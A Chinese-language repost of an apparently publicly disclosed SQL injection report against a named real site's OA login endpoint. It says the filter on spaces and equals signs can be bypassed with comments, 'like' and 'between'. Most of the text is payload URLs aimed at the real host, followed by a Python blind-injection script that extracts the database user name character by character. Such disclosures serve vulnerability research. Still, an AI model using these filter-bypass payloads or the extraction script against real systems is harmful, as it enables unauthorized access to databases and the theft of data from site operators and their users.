sql注入已繞過防護天涯某分站存在SQL注入漏洞（繞過防護\附驗證腳本）－IT工程師數位筆記本

文章出處

提示已經修復

經測試

過濾了空格和等號

所以仍然可以注入

注入點http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001

http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'and 'a'='a

提示Tips:System error.

http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'and'a'like'a

返回正常

可以使用like來替換and

空格可以使用/**/

大于號、小于號、等號可以用between and 來替換

http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len('aa')/**/between/**/0/**/and/**/3/**/and/**/'a'/**/like/**/'a

其他測試用的payload

http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/'a'/**/like/**/'ahttp://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len('aa')/**/between/**/0/**/and/**/3/**/and/**/'a'/**/like/**/'ahttp://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len/**/((select/**/@@version))/**/between/**/0/**/and/**/1002/**/and/**/'a'/**/like/**/'ahttp://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len/**/((select/**/user))/**/between/**/0/**/and/**/1002/**/and/**/'a'/**/like/**/'ahttp://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len/**/((select/**/user))/**/between/**/7/**/and/**/7/**/and/**/'a'/**/like/**/'ahttp://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/((select/**/user))/**/like/**/'ecology'/**/and/**/'a'/**/like/**/'ahttp://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/ascii(substring(user,1,1))between/**/101/**/and/**/101/**/and/**/'a'/**/like/**/'a

http://oa.tianya.cn/login/LoginOperation.jsp?method=checkTokenKey&loginid=1999001'/**/and/**/len/**/((select/**/user))/**/between/**/7/**/and/**/7/**/and/**/'a'/**/like/**/'a

當前用戶長度為7

驗證腳本

#encoding=utf-8import httplibimport stringimport sysimport randomimport urllibheaders = {'Content-Type':'application/x-www-form-urlencoded'}payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'print 'Start to retrive user:'user= ''for i in range(1, 8):    for payload in payloads:                       s = "method=checkTokenKey&loginid=1999001'/**/and/**/ascii(substring(user,%s,1))between/**/%s/**/and/**/%s/**/and/**/'a'/**/like/**/'a"% (i, ord(payload),ord(payload))            conn = httplib.HTTPConnection('oa.tianya.cn', timeout=150)            conn.request(method='POST',                         url='/login/LoginOperation.jsp',                         body=s,                         headers=headers)            resp = conn.getresponse()            html_doc = resp.read()            conn.close()            print '.',                   if html_doc.count('3') > 0:                user += payload                print '\n\n[in progress]', user,                breakprint '\n\n[Done]  user is %s' % user